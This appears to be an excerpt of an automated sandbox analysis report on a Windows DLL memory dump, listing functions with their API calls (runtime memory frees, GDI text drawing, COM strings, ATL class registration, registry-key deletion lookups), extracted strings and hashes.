API ID: ClientObject$Select$Screen$CompatibleCreateDeleteMessagePaintRectSend$BeginBitmapColorModeParentText
String ID:
API String ID: 2796758630-0
Opcode ID: ca538ad6c3c0543487898c3e5e142f4d7153f20946448fac727dea01a16c1427
Instruction ID: 8f31412789ab3a023821fb476241448a97afe6c562eba727738da8ca233eb249
Opcode Fuzzy Hash: ca538ad6c3c0543487898c3e5e142f4d7153f20946448fac727dea01a16c1427
Instruction Fuzzy Hash: 85512572118B41AFDB219F65C908F6FBBE8FF89700F10491DF69992260DB71A905CF92

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F7ED0, Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 6E8F7F46
VariantInit.OLEAUT32(?), ref: 6E8F7F78
VariantChangeType.OLEAUT32(?,?,00000000,00000008), ref: 6E8F7FA0
SysFreeString.OLEAUT32(-00000001), ref: 6E8F7FE1
SysAllocString.OLEAUT32(?), ref: 6E8F8049
VariantClear.OLEAUT32(?), ref: 6E8F806B
_com_issue_error.COMSUPP ref: 6E8F8096
_com_issue_error.COMSUPP ref: 6E8F80A0
_com_issue_error.COMSUPP ref: 6E8F80A6
_com_issue_error.COMSUPP ref: 6E8F80B0
_com_issue_error.COMSUPP ref: 6E8F80BA

Strings

name, xrefs: 6E8F814A
value, xrefs: 6E8F8288
counter, xrefs: 6E8F841B, 6E8F8446
page, xrefs: 6E8F87CB, 6E8F87F6

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _com_issue_error$StringVariant$Alloc$ChangeClearFreeInitType
String ID: counter$name$page$value
API String ID: 661817203-1733285648
Opcode ID: e964e4fec35f0593f35484b65c820a642d256f74021a3f208431b2b07fd90642
Instruction ID: 71da4ee016776584e15d671c422ab3f470cb668a595b322aa78beafb4a22f54b
Opcode Fuzzy Hash: e964e4fec35f0593f35484b65c820a642d256f74021a3f208431b2b07fd90642
Instruction Fuzzy Hash: 41510372910706DBEB50DFE5C840B8AB7F8EF54764F204E19E855A72C0E775E981CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E900DF0, Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 298COMMON

Download Yara Rule

APIs

GetTextMetricsW.GDI32(?,?,?,?,?,?,?,6E901419,?,00000000,?), ref: 6E900E7E
GetClientRect.USER32 ref: 6E9010CF
GetDeviceCaps.GDI32(?,0000005A), ref: 6E901134
MulDiv.KERNEL32(?,00000000,00000048), ref: 6E901149
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 6E901169
SetTextColor.GDI32(?,?), ref: 6E901181
SelectObject.GDI32(?,00000000), ref: 6E901189
DrawTextW.USER32(?,?,?,?,00000000), ref: 6E9011C1
SelectObject.GDI32(?,00000000), ref: 6E9011C9
DeleteObject.GDI32(00000000), ref: 6E9011D0

Strings

%s%s%s, xrefs: 6E90106D
[N/A], xrefs: 6E900F93
%s%d.%d%s, xrefs: 6E901014

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ObjectText$Select$CapsClientColorCreateDeleteDeviceDrawFontMetricsRect
String ID: %s%d.%d%s$%s%s%s$[N/A]
API String ID: 938400745-711029782
Opcode ID: 742162139fc64e6f7b818da4b1e5ae658e931a7052852fbfb504842090ed7ead
Instruction ID: 0f6f3a009a6dd3c003a5b9246c38ad5a37b7077112299d7c2a9e8ca4a1cb1d9e
Opcode Fuzzy Hash: 742162139fc64e6f7b818da4b1e5ae658e931a7052852fbfb504842090ed7ead
Instruction Fuzzy Hash: 8CC18E759002199FDB14CF64CC84BEAB7B9FF49304F5486E9E509AB251E730EA85CF60

Uniqueness

Uniqueness Score: -1.00%

Function 6E916040, Relevance: 22.8, APIs: 15, Instructions: 343COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6E9160B0
_free.LIBCMT ref: 6E9160C5
_free.LIBCMT ref: 6E9160DA
_free.LIBCMT ref: 6E9160EF
_free.LIBCMT ref: 6E916104
GetCPInfo.KERNEL32(?,?), ref: 6E91614E

Part of subcall function 6E91DBB5: _free.LIBCMT ref: 6E91DC20

_free.LIBCMT ref: 6E916392
_free.LIBCMT ref: 6E9163A5
_free.LIBCMT ref: 6E9163B3
_free.LIBCMT ref: 6E9163BE
_free.LIBCMT ref: 6E916400
_free.LIBCMT ref: 6E916408
_free.LIBCMT ref: 6E916410
_free.LIBCMT ref: 6E916418
_free.LIBCMT ref: 6E916426

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: 29e7300b8e682f5f4c267009e2db60181a4c5bf9da9c5cfdc12341107a582a8e
Instruction ID: 9e335edbe36af5da2da1f2c1d51da5523e07ce46c9bc8e3375e3873220d8e8ed
Opcode Fuzzy Hash: 29e7300b8e682f5f4c267009e2db60181a4c5bf9da9c5cfdc12341107a582a8e
Instruction Fuzzy Hash: 72D17F71D1424A9FEB11CFE8C880BEEBBB9FF59300F104869E995A7282D771A845CF51

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F8EA0, Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 405memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000003,00000000,line,000000FF,00000000,00000000,?,00000000,A836F30C,76AFD5B0,00000000), ref: 6E8F8F44
SysAllocStringLen.OLEAUT32(00000000,-00000001), ref: 6E8F8F52
MultiByteToWideChar.KERNEL32(00000003,00000000,line,000000FF,00000000,00000000,?,00000000,A836F30C,76AFD5B0,00000000), ref: 6E8F8F6F
VarBstrCmp.OLEAUT32(00000000,00000000,00000400,00000000), ref: 6E8F8F88
SysFreeString.OLEAUT32(00000000), ref: 6E8F8F97
SysFreeString.OLEAUT32(00000000), ref: 6E8F9234
SysFreeString.OLEAUT32(00000000), ref: 6E8F9286
_com_issue_error.COMSUPP ref: 6E8F9294
Concurrency::cancel_current_task.LIBCPMT ref: 6E8F9299
SysFreeString.OLEAUT32(76AFD5B0), ref: 6E8F92A4

Strings

Arial, xrefs: 6E8F8FAD
line, xrefs: 6E8F8F3B, 6E8F8F66

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Free$ByteCharMultiWide$AllocBstrConcurrency::cancel_current_task_com_issue_error
String ID: Arial$line
API String ID: 3866382671-367345269
Opcode ID: f1efa98858c510afae7c40ef6cfc94f3f7222f67d5c30d67293632ce55ba9616
Instruction ID: 9f891a31178b16a37a94435e996a77c277f0aa5bc4cf6b3e4f5ec54c73e9fab7
Opcode Fuzzy Hash: f1efa98858c510afae7c40ef6cfc94f3f7222f67d5c30d67293632ce55ba9616
Instruction Fuzzy Hash: 95E1D070900309DFDB10CFE8C984B9EBBB9AF99354F24495DE415AB380D774AA46CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6E921B90, Relevance: 19.6, APIs: 13, Instructions: 114COMMON

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 6E921BD4

Part of subcall function 6E923317: _free.LIBCMT ref: 6E923334
Part of subcall function 6E923317: _free.LIBCMT ref: 6E923346
Part of subcall function 6E923317: _free.LIBCMT ref: 6E923358
Part of subcall function 6E923317: _free.LIBCMT ref: 6E92336A
Part of subcall function 6E923317: _free.LIBCMT ref: 6E92337C
Part of subcall function 6E923317: _free.LIBCMT ref: 6E92338E
Part of subcall function 6E923317: _free.LIBCMT ref: 6E9233A0
Part of subcall function 6E923317: _free.LIBCMT ref: 6E9233B2
Part of subcall function 6E923317: _free.LIBCMT ref: 6E9233C4
Part of subcall function 6E923317: _free.LIBCMT ref: 6E9233D6
Part of subcall function 6E923317: _free.LIBCMT ref: 6E9233E8
Part of subcall function 6E923317: _free.LIBCMT ref: 6E9233FA
Part of subcall function 6E923317: _free.LIBCMT ref: 6E92340C

_free.LIBCMT ref: 6E921BC9

Part of subcall function 6E918252: HeapFree.KERNEL32(00000000,00000000,?,6E923A72,?,00000000,?,?,?,6E923D17,?,00000007,?,?,6E921D29,?), ref: 6E918268
Part of subcall function 6E918252: GetLastError.KERNEL32(?,?,6E923A72,?,00000000,?,?,?,6E923D17,?,00000007,?,?,6E921D29,?,?), ref: 6E91827A

_free.LIBCMT ref: 6E921BEB
_free.LIBCMT ref: 6E921C00
_free.LIBCMT ref: 6E921C0B
_free.LIBCMT ref: 6E921C2D
_free.LIBCMT ref: 6E921C40
_free.LIBCMT ref: 6E921C4E
_free.LIBCMT ref: 6E921C59
_free.LIBCMT ref: 6E921C91
_free.LIBCMT ref: 6E921C98
_free.LIBCMT ref: 6E921CB5
_free.LIBCMT ref: 6E921CCD

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: ec4853ec2bae46ee0a9811dbd8500eb337fbddcf39225b2367889c7b1801b0df
Instruction ID: 4f0ede18c70cd0ccda2e3c8f5304f51b8c275448e3c64810c8595d0980f808d4
Opcode Fuzzy Hash: ec4853ec2bae46ee0a9811dbd8500eb337fbddcf39225b2367889c7b1801b0df
Instruction Fuzzy Hash: F9316D316186059FEF659ABAD840BD673ECFF82354F208C39E458D7198DB32E8A49F11

Uniqueness

Uniqueness Score: -1.00%

Function 6E923415, Relevance: 18.4, APIs: 12, Instructions: 375COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6E92345D
_free.LIBCMT ref: 6E923481
_free.LIBCMT ref: 6E92348E
_free.LIBCMT ref: 6E9234B3
_free.LIBCMT ref: 6E9234C0
_free.LIBCMT ref: 6E9234C9
_free.LIBCMT ref: 6E9237A4
_free.LIBCMT ref: 6E9237AC

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 63170d34bdd0e86ad126c60533a85f057234725ae95a907fd4a4095cad7ec4bd
Instruction ID: 49bb1e979803f8c7b8f4e527557998c67f1d3c86ca9ddad20f424553c59c13d1
Opcode Fuzzy Hash: 63170d34bdd0e86ad126c60533a85f057234725ae95a907fd4a4095cad7ec4bd
Instruction Fuzzy Hash: 66C15EB2D44209AFDB20CAE8CC86FDA77FCAF59704F144865FA05EB285D670E9408F61

Uniqueness

Uniqueness Score: -1.00%

Function 6E9138F1, Relevance: 18.0, APIs: 1, Strings: 9, Instructions: 493COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 6E913D04

Strings

f, xrefs: 6E913A40
p, xrefs: 6E913A47
A, xrefs: 6E913AB8
Z, xrefs: 6E913AC2
:, xrefs: 6E9139B8
p, xrefs: 6E913A01
f, xrefs: 6E9139FA
p, xrefs: 6E9139E5
f, xrefs: 6E9139DE

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldvrm
String ID: :$A$Z$f$f$f$p$p$p
API String ID: 1302938615-2466996737
Opcode ID: 4f07803d5002463201c219d8dc8e0c4a7ce44c136796955bb09aa2d5a6d7788c
Instruction ID: d3e7bec705ccfe038427dd2eb366a355714cff92f1421af1f0a25fc1b3c31bf9
Opcode Fuzzy Hash: 4f07803d5002463201c219d8dc8e0c4a7ce44c136796955bb09aa2d5a6d7788c
Instruction Fuzzy Hash: DC126C79A0825E9AEB20CFF9D8886EDB776FF40714FA28555D4186B684D370CE84CF12

Uniqueness

Uniqueness Score: -1.00%

Function 6E91FECD, Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 302COMMON

Download Yara Rule

Strings

, xrefs: 6E920155

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: aa42e9d867161933f615ad5d8bbf7849297bd7739df0f111071d415235ab01e3
Instruction ID: d9a2606b3daaa72ced5df50e1b1a05dc235b9c51f6470e7a97cfd7197f8904bf
Opcode Fuzzy Hash: aa42e9d867161933f615ad5d8bbf7849297bd7739df0f111071d415235ab01e3
Instruction Fuzzy Hash: 9AC1B274A1824AAFDF05CFD9C8A0BED7BB9BF8A314F004469E4549B286D770D942CF61

Uniqueness

Uniqueness Score: -1.00%

Function 6E9023E0, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 179registryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6E93DA58), ref: 6E902414
GetClassInfoExW.USER32 ref: 6E902449
GetClassInfoExW.USER32 ref: 6E90245C
LeaveCriticalSection.KERNEL32(6E93DA58), ref: 6E902467
LoadCursorW.USER32(6E8F0000,?), ref: 6E9024B9
GetClassInfoExW.USER32 ref: 6E90250F
RegisterClassExW.USER32 ref: 6E90251F
LeaveCriticalSection.KERNEL32(6E93DA58), ref: 6E9025B2

Strings

0, xrefs: 6E902442
ATL:%p, xrefs: 6E9024D9

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Class$CriticalInfoSection$Leave$CursorEnterLoadRegister
String ID: 0$ATL:%p
API String ID: 269841140-2453800769
Opcode ID: 2f96cc2396c88bd2c77387c83fd4dc48b7adaf10cd13221fbfc0660d3c90eb7a
Instruction ID: 71f8e4e8fa00815596c4bcf558f30f97ccca1a97750b00031f2a0fff63b7a1be
Opcode Fuzzy Hash: 2f96cc2396c88bd2c77387c83fd4dc48b7adaf10cd13221fbfc0660d3c90eb7a
Instruction Fuzzy Hash: 8961B071918B05DFDB20CFA9C9609AAB7F9FF99714B804A1DE88697641EB70F480CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F4FC0, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 175COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6E8F4FFF
std::_Lockit::_Lockit.LIBCPMT ref: 6E8F5021
std::_Lockit::~_Lockit.LIBCPMT ref: 6E8F5041
std::_Facet_Register.LIBCPMT ref: 6E8F51AA
std::_Lockit::~_Lockit.LIBCPMT ref: 6E8F51C2
Concurrency::cancel_current_task.LIBCPMT ref: 6E8F51E4
Concurrency::cancel_current_task.LIBCPMT ref: 6E8F51E9
Concurrency::cancel_current_task.LIBCPMT ref: 6E8F51EE

Strings

false, xrefs: 6E8F5155
true, xrefs: 6E8F517B

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Concurrency::cancel_current_task$Lockit::_Lockit::~_$Facet_Register
String ID: false$true
API String ID: 3742692055-2658103896
Opcode ID: e5e59e391e3bbbcd077a4d92f82c76a1898946f0848c87e46ea04c3cea300211
Instruction ID: cef1d5449f5edb73850b47229233ebf49a21e18423e0eaa3e6928c8bd17261f5
Opcode Fuzzy Hash: e5e59e391e3bbbcd077a4d92f82c76a1898946f0848c87e46ea04c3cea300211
Instruction Fuzzy Hash: 44619970904705DBDB20CFA4C840BDABBB9EF95748F10895ED805AB380DB76EA46CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6E909E3A, Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMON

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 6E909F37
type_info::operator==.LIBVCRUNTIME ref: 6E909F59
___TypeMatch.LIBVCRUNTIME ref: 6E90A068
IsInExceptionSpec.LIBVCRUNTIME ref: 6E90A13A
_UnwindNestedFrames.LIBCMT ref: 6E90A1BE
CallUnexpected.LIBVCRUNTIME ref: 6E90A1D9

Strings

csm, xrefs: 6E909F90
csm, xrefs: 6E909EE4
csm, xrefs: 6E909E77

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 58aa31c116857b4dc3cff3ff5db45b74959356b79996b00e9ceab808d5c168e0
Instruction ID: 9cc0624e2b39b2c8b1b239196acbe14f3b59144b37a1b160cd5f190687a83c27
Opcode Fuzzy Hash: 58aa31c116857b4dc3cff3ff5db45b74959356b79996b00e9ceab808d5c168e0
Instruction Fuzzy Hash: 5AB1557180020AAFCF55CFE4C8809DEBBB9BF94314B90495DE8216B255D3B5EA91CFD1

Uniqueness

Uniqueness Score: -1.00%

Function 6E900400, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107timeCOMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 6E900418
GetDeviceCaps.GDI32(00000000,0000005A), ref: 6E900445
MulDiv.KERNEL32(00000008,00000000), ref: 6E90044E
CreateFontW.GDI32(00000000), ref: 6E900457
ReleaseDC.USER32 ref: 6E900464
SetTimer.USER32 ref: 6E900479

Part of subcall function 6E9012B0: BeginPaint.USER32(?,?), ref: 6E9012F3
Part of subcall function 6E9012B0: GetParent.USER32(?), ref: 6E9012FC
Part of subcall function 6E9012B0: GetClientRect.USER32 ref: 6E901312
Part of subcall function 6E9012B0: CreateCompatibleDC.GDI32(?), ref: 6E901318
Part of subcall function 6E9012B0: CreateCompatibleBitmap.GDI32(?,?,?), ref: 6E90133A
Part of subcall function 6E9012B0: SelectObject.GDI32(00000000,00000000), ref: 6E901346
Part of subcall function 6E9012B0: SelectObject.GDI32(00000000,?), ref: 6E901358
Part of subcall function 6E9012B0: SendMessageW.USER32(?,00000014,00000000,00000000), ref: 6E901371
Part of subcall function 6E9012B0: SendMessageW.USER32(?,0000000F,?,00000000), ref: 6E90137F
Part of subcall function 6E9012B0: SetBkMode.GDI32(?,00000001), ref: 6E901388
Part of subcall function 6E9012B0: SetTextColor.GDI32(?,00FFFFFF), ref: 6E901394
Part of subcall function 6E9012B0: GetClientRect.USER32 ref: 6E9013A6
Part of subcall function 6E9012B0: ClientToScreen.USER32(?,?), ref: 6E9013B4
Part of subcall function 6E9012B0: ClientToScreen.USER32(?,?), ref: 6E9013C9
Part of subcall function 6E9012B0: ClientToScreen.USER32(?,?), ref: 6E9013EB

DeleteObject.GDI32(?), ref: 6E9004A0

Strings

Arial, xrefs: 6E90041E

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Client$CreateObjectScreen$CompatibleMessageRectSelectSend$BeginBitmapCapsColorDeleteDeviceFontModePaintParentReleaseTextTimer
String ID: Arial
API String ID: 1525433823-493054409
Opcode ID: 498448c55971bbb644a843ea48cf22a13e5862606f43d719a0a98ecd1eb082c7
Instruction ID: 617a06bd7a2ddcdbc1e54810e57c3a56eea3525d21fd890a12887110afb6cde7
Opcode Fuzzy Hash: 498448c55971bbb644a843ea48cf22a13e5862606f43d719a0a98ecd1eb082c7
Instruction Fuzzy Hash: A5310272250601AFEB509F68CC46BAA7BA8FF46321F104516F101DA2D0D7B1E861CFE0

Uniqueness

Uniqueness Score: -1.00%

Function 6E907640, Relevance: 15.2, APIs: 10, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,6E8F7CE5,6E8F7CE7,00000000,00000000,A836F30C,?,00000000,?,Function_00018230,6E93A1F0,000000FE,?,6E8F7CE5), ref: 6E9076C9
__alloca_probe_16.LIBCMT ref: 6E9076EE
MultiByteToWideChar.KERNEL32(00000000,00000000,6E8F7CE5,?,00000000,00000000,?,Function_00018230,6E93A1F0,000000FE,?,6E8F7CE5), ref: 6E907744
SysAllocString.OLEAUT32(00000000), ref: 6E90774F
_com_issue_error.COMSUPP ref: 6E907778
_com_issue_error.COMSUPP ref: 6E907782
GetLastError.KERNEL32(80070057,A836F30C,?,00000000,?,Function_00018230,6E93A1F0,000000FE,?,6E8F7CE5), ref: 6E907787
_com_issue_error.COMSUPP ref: 6E90779A
GetLastError.KERNEL32(00000000,?,00000000,?,Function_00018230,6E93A1F0,000000FE,?,6E8F7CE5), ref: 6E9077B0
_com_issue_error.COMSUPP ref: 6E9077C3

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString__alloca_probe_16
String ID:
API String ID: 3079088546-0
Opcode ID: 290eefa62ed2babd67bbd027cba5db3154a79a99eb5d631ad8a66f002292854e
Instruction ID: 39b4019062b082f17c0abadccadbe9ab97f808d87b57e209a649b0117e5d030f
Opcode Fuzzy Hash: 290eefa62ed2babd67bbd027cba5db3154a79a99eb5d631ad8a66f002292854e
Instruction Fuzzy Hash: 9D41C4B1A04205ABDB01AFE8C844BDE7BACEF49764F50462DE519E7280D774E840CFE5

Uniqueness

Uniqueness Score: -1.00%

Function 6E918836, Relevance: 15.1, APIs: 10, Instructions: 70COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6E91884C

Part of subcall function 6E918252: HeapFree.KERNEL32(00000000,00000000,?,6E923A72,?,00000000,?,?,?,6E923D17,?,00000007,?,?,6E921D29,?), ref: 6E918268
Part of subcall function 6E918252: GetLastError.KERNEL32(?,?,6E923A72,?,00000000,?,?,?,6E923D17,?,00000007,?,?,6E921D29,?,?), ref: 6E91827A

_free.LIBCMT ref: 6E918858
_free.LIBCMT ref: 6E918863
_free.LIBCMT ref: 6E91886E
_free.LIBCMT ref: 6E918879
_free.LIBCMT ref: 6E918884
_free.LIBCMT ref: 6E91888F
_free.LIBCMT ref: 6E91889A
_free.LIBCMT ref: 6E9188A5
_free.LIBCMT ref: 6E9188B3

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d1b635a4a9d0323ffe188b2d30827481dea209ff0ed603e747d488f419bc152c
Instruction ID: b88025e2770bb1710e25491b201fea057c3fa2b141c9e11501b645bfb8a27ebe
Opcode Fuzzy Hash: d1b635a4a9d0323ffe188b2d30827481dea209ff0ed603e747d488f419bc152c
Instruction Fuzzy Hash: E921C77690410CAFCB16DFD4C880DDE7BB9FF99284F0049A6F9199B160EB31DA549F81

Uniqueness

Uniqueness Score: -1.00%

Function 6E8FD3E0, Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 100libraryloaderregistryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Advapi32.dll,A836F30C,?,?,?,6E928C60,000000FF), ref: 6E8FD419
GetProcAddress.KERNEL32(00000000,RegDeleteKeyTransactedW), ref: 6E8FD429
GetModuleHandleW.KERNEL32(Advapi32.dll,A836F30C,?,?,?,6E928C60,000000FF), ref: 6E8FD489
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 6E8FD499
RegDeleteKeyW.ADVAPI32(?,?), ref: 6E8FD4E8

Strings

Advapi32.dll, xrefs: 6E8FD414, 6E8FD484
RegDeleteKeyExW, xrefs: 6E8FD493
RegDeleteKeyTransactedW, xrefs: 6E8FD423

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc$Delete
String ID: Advapi32.dll$RegDeleteKeyExW$RegDeleteKeyTransactedW
API String ID: 2668475584-1053001802
Opcode ID: 6d836e97423f643829aa0dff403b3e0e9642397f9e496ed99ccc5b43393de433
Instruction ID: 7dd3465f302563baafee2a81bb5c9f2b995f70f38ecbc4f5474277eb686895c4
Opcode Fuzzy Hash: 6d836e97423f643829aa0dff403b3e0e9642397f9e496ed99ccc5b43393de433
Instruction Fuzzy Hash: AF31D072648604EFEF218F89D904F96BBA4FF5A750F10852AEE049B6C0D776A410CF92

Uniqueness

Uniqueness Score: -1.00%

Function 6E907132, Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 58libraryCOMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,6E907478,6E93EBA8,?,00000000,?,6E90204A,?,?,00000000,00000001), ref: 6E907144
